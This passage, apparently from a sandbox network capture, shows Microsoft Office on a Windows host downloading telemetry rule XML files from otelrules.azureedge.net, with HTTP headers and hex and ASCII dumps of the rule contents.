Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-12 14:42:00 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 216c6b49-701e-001e-23a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144201Z-17df447cdb54qlp6hC1DFW67e800000001ug00000000dysy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:01 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: df0930aa-501e-00a3-28a3-34c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144201Z-17df447cdb5bz95mhC1DFWnk7w0000000byg00000000bcfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:01 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144201Z-16547b76f7f775p5hC1DFWzdvn0000000fug000000004sq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:01 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6d064dc7-d01e-005a-12a0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144201Z-17df447cdb56j5xmhC1DFWn9180000000c5g00000000b57w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 14:42:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 84a9668d-801e-0078-5fa0-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144202Z-15869dbbcc6vr5dxhC1DFWyw4g00000001y0000000006199 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144202Z-16547b76f7f76p6chC1DFWctqw0000000ft000000000gwch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144202Z-16547b76f7ftdm8dhC1DFWs13g0000000fs0000000009rbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 14:42:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144203Z-16547b76f7fkj7j4hC1DFW0a9g0000000fsg000000009ddv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:03 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:03 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144203Z-16547b76f7fdf69shC1DFWcpd00000000fp000000000btgp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:03 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144203Z-16547b76f7f76p6chC1DFWctqw0000000ft000000000gwdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
